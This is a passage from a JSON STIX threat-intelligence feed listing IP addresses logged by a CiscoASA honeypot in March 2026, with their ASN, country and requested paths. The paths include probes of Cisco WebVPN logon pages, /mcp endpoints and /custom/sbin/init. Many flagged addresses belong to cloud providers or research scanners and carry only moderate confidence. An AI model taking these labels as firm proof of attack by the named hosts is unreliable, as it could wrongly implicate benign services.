      "pattern": "[ipv4-addr:value = '147.185.132.49']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T06:20:15.000Z",
      "valid_until": "2026-04-12T06:20:14.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 2,
          "first_seen": "2026-03-11T05:24:39.124Z",
          "last_seen": "2026-03-11T05:24:42.127Z",
          "country": "United States",
          "country_code": "US",
          "asn": 396982,
          "as_org": "Google LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-03-11T10:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: HK; ASN 135377 (UCLOUD INFORMATION TECHNOLOGY HK LIMITED)",
      "id": "indicator--0e6f4557-bab7-4315-a42e-6d2ed61ed4c6",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '118.193.44.169']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T10:20:13.000Z",
      "valid_until": "2026-04-12T10:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 4,
          "first_seen": "2026-03-11T10:05:01.804Z",
          "last_seen": "2026-03-11T10:05:03.933Z",
          "country": "Hong Kong",
          "country_code": "HK",
          "asn": 135377,
          "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "\"GET /robots.txt HTTP/1.1\" 404 -",
            "\"GET /sitemap.xml HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-11T10:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: HK; ASN 135377 (UCLOUD INFORMATION TECHNOLOGY HK LIMITED)",
      "id": "indicator--8cbcaff7-d079-4bbe-8c88-addf7779e554",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '123.58.213.117']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T10:20:13.000Z",
      "valid_until": "2026-04-12T10:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 4,
          "first_seen": "2026-03-11T10:04:08.704Z",
          "last_seen": "2026-03-11T10:04:13.611Z",
          "country": "Hong Kong",
          "country_code": "HK",
          "asn": 135377,
          "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"t3 12.1.2\" 400 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "code 400"
          ]
        }
      }
    },
    {
      "created": "2026-03-11T11:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /remote/login?lang= HTTP/1.1\" 404 - geo: BZ; ASN 205775 (Neon Core Network LLC)",
      "id": "indicator--c385dce5-2f14-4871-bb0d-46308162644c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '138.226.237.116']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T11:20:13.000Z",
      "valid_until": "2026-04-12T11:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-11T10:31:23.654Z",
          "last_seen": "2026-03-11T10:31:23.654Z",
          "country": "Belize",
          "country_code": "BZ",
          "asn": 205775,
          "as_org": "Neon Core Network LLC",
          "event_types": [
            "\"GET /remote/login?lang= HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-11T12:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 398324 (Censys, Inc.)",
      "id": "indicator--829eba47-a798-4493-bed2-1bf53b27ec20",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '162.142.125.112']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T12:20:13.000Z",
      "valid_until": "2026-04-12T12:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 6,
          "first_seen": "2026-03-11T12:00:37.848Z",
          "last_seen": "2026-03-11T12:00:55.909Z",
          "country": "United States",
          "country_code": "US",
          "asn": 398324,
          "as_org": "Censys, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "\"GET /version HTTP/1.1\" 404 -",
            "\"PRI * HTTP/2.0\" 505 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "code 505"
          ]
        }
      }
    },
    {
      "created": "2026-03-11T12:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 50219 (Valence Technology Co.)",
      "id": "indicator--f862750a-1364-4ac3-8d4a-d0cb0fca9f7d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '194.164.107.4']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T12:20:13.000Z",
      "valid_until": "2026-04-12T12:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 3,
          "first_seen": "2026-03-11T11:37:33.512Z",
          "last_seen": "2026-03-11T11:38:54.852Z",
          "country": "United States",
          "country_code": "US",
          "asn": 50219,
          "as_org": "Valence Technology Co.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-03-11T13:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: HK; ASN 135377 (UCLOUD INFORMATION TECHNOLOGY HK LIMITED)",
      "id": "indicator--1298de79-32e1-4bc1-804f-4d524406a09a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '118.193.33.130']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T13:20:13.000Z",
      "valid_until": "2026-04-12T13:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 4,
          "first_seen": "2026-03-11T12:22:53.609Z",
          "last_seen": "2026-03-11T12:22:58.378Z",
          "country": "Hong Kong",
          "country_code": "HK",
          "asn": 135377,
          "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"t3 12.1.2\" 400 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "code 400"
          ]
        }
      }
    },
    {
      "created": "2026-03-11T13:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 142002 (Scloud Pte Ltd)",
      "id": "indicator--c2f65c96-0b0f-4dc0-a649-0e6c14b13b9c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '165.154.206.71']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T13:20:13.000Z",
      "valid_until": "2026-04-12T13:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 4,
          "first_seen": "2026-03-11T12:23:28.751Z",
          "last_seen": "2026-03-11T12:23:30.081Z",
          "country": "United States",
          "country_code": "US",
          "asn": 142002,
          "as_org": "Scloud Pte Ltd",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "\"GET /robots.txt HTTP/1.1\" 404 -",
            "\"GET /sitemap.xml HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-11T16:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: DE; ASN 396982 (Google LLC)",
      "id": "indicator--95d00fad-7dec-4a9b-a27b-23389fd20b46",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '34.159.103.136']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T16:20:13.000Z",
      "valid_until": "2026-04-12T16:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 2,
          "first_seen": "2026-03-11T15:45:09.802Z",
          "last_seen": "2026-03-11T15:45:10.743Z",
          "country": "Germany",
          "country_code": "DE",
          "asn": 396982,
          "as_org": "Google LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-11T17:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: Request timed out: TimeoutError(The read operation timed out) geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--edc25553-f305-472e-9a7c-bab6172cf2da",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '5.252.189.12']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T17:20:13.000Z",
      "valid_until": "2026-04-12T17:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 8,
          "first_seen": "2026-03-11T16:53:22.355Z",
          "last_seen": "2026-03-11T16:53:37.948Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-11T19:20:06.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: Request timed out: TimeoutError(The read operation timed out) geo: AE; ASN 135377 (UCLOUD INFORMATION TECHNOLOGY HK LIMITED)",
      "id": "indicator--b36f21a6-f0da-4572-b8fa-e00fb2c6bb34",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '165.154.12.82']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T19:20:06.000Z",
      "valid_until": "2026-04-12T19:20:05.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 32,
          "first_seen": "2026-03-11T19:05:21.877Z",
          "last_seen": "2026-03-16T18:02:10.992Z",
          "country": "United Arab Emirates",
          "country_code": "AE",
          "asn": 135377,
          "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/blank.html HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"GET /config.json HTTP/1.1\" 404 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "\"GET /robots.txt HTTP/1.1\" 404 -",
            "\"GET /sitemap.xml HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-11T20:20:07.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 14061 (DigitalOcean, LLC)",
      "id": "indicator--21504122-28ce-4699-8c86-61d3168596e3",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '161.35.236.116']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T20:20:07.000Z",
      "valid_until": "2026-04-12T20:20:05.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 4,
          "first_seen": "2026-03-11T19:29:14.009Z",
          "last_seen": "2026-03-20T23:31:41.564Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14061,
          "as_org": "DigitalOcean, LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-03-11T20:20:07.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /sse HTTP/1.1\" 404 - geo: PT; ASN 211680 (Sistemas Informaticos, S.A.)",
      "id": "indicator--1e2b69ff-6dea-414e-b458-a2ce0349d0ac",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '45.156.129.80']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T20:20:07.000Z",
      "valid_until": "2026-04-12T20:20:05.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 2,
          "first_seen": "2026-03-11T20:14:00.948Z",
          "last_seen": "2026-03-11T20:14:01.522Z",
          "country": "Portugal",
          "country_code": "PT",
          "asn": 211680,
          "as_org": "Sistemas Informaticos, S.A.",
          "event_types": [
            "\"GET /sse HTTP/1.1\" 404 -",
            "\"POST /mcp HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-11T20:20:07.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: Request timed out: TimeoutError(The read operation timed out) geo: PT; ASN 211680 (Sistemas Informaticos, S.A.)",
      "id": "indicator--30e45f43-1b61-4caf-8280-e76c688818f8",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '45.156.129.81']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T20:20:07.000Z",
      "valid_until": "2026-04-12T20:20:05.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 4,
          "first_seen": "2026-03-11T20:13:48.777Z",
          "last_seen": "2026-03-11T20:14:05.968Z",
          "country": "Portugal",
          "country_code": "PT",
          "asn": 211680,
          "as_org": "Sistemas Informaticos, S.A.",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-12T01:20:06.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--e24ca14f-f0ab-4e51-aa9f-aa709568f719",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '100.26.106.240']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T01:20:06.000Z",
      "valid_until": "2026-04-13T01:20:05.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 2,
          "first_seen": "2026-03-12T00:50:30.555Z",
          "last_seen": "2026-03-12T00:50:33.558Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-03-12T01:20:06.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 14061 (DigitalOcean, LLC)",
      "id": "indicator--3ba6d152-df65-4510-b221-685c9092d15e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '198.211.115.104']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T01:20:06.000Z",
      "valid_until": "2026-04-13T01:20:05.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 2,
          "first_seen": "2026-03-12T01:05:53.956Z",
          "last_seen": "2026-03-12T01:06:00.685Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14061,
          "as_org": "DigitalOcean, LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-12T01:20:06.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /favicon.ico HTTP/1.1\" 404 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--aba1845d-4e41-4418-b51d-9220e7ee36c8",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '54.196.48.233']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T01:20:06.000Z",
      "valid_until": "2026-04-13T01:20:05.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-12T00:52:51.749Z",
          "last_seen": "2026-03-12T00:52:51.749Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-12T02:20:12.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 8075 (Microsoft Corporation)",
      "id": "indicator--6c02515c-3acd-4d81-816f-b03ebb82f90d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '74.249.177.184']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T02:20:12.000Z",
      "valid_until": "2026-04-13T02:20:11.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 2,
          "first_seen": "2026-03-12T01:44:08.155Z",
          "last_seen": "2026-03-12T01:44:11.157Z",
          "country": "United States",
          "country_code": "US",
          "asn": 8075,
          "as_org": "Microsoft Corporation",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-03-12T04:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: PT; ASN 211680 (Sistemas Informaticos, S.A.)",
      "id": "indicator--71e189f7-6939-44c1-8cd6-297f08b00d9f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '45.156.128.15']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T04:20:13.000Z",
      "valid_until": "2026-04-13T04:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 4,
          "first_seen": "2026-03-12T03:23:54.934Z",
          "last_seen": "2026-03-19T12:05:10.219Z",
          "country": "Portugal",
          "country_code": "PT",
          "asn": 211680,
          "as_org": "Sistemas Informaticos, S.A.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-03-12T05:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /static/lang/custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--57489dca-195c-47b2-8653-8c63d2512424",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '216.218.206.102']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T05:20:13.000Z",
      "valid_until": "2026-04-13T05:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-12T05:04:56.998Z",
          "last_seen": "2026-03-12T05:04:56.998Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /static/lang/custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-12T05:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /static/lang//custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--99d2a1de-ca25-4a52-859f-2854426a8cde",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '216.218.206.110']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T05:20:13.000Z",
      "valid_until": "2026-04-13T05:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-12T05:05:01.304Z",
          "last_seen": "2026-03-12T05:05:01.304Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /static/lang//custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-12T05:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /lang//custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--75b46f72-88f0-4b07-ab64-c3b14dadb840",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '216.218.206.114']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
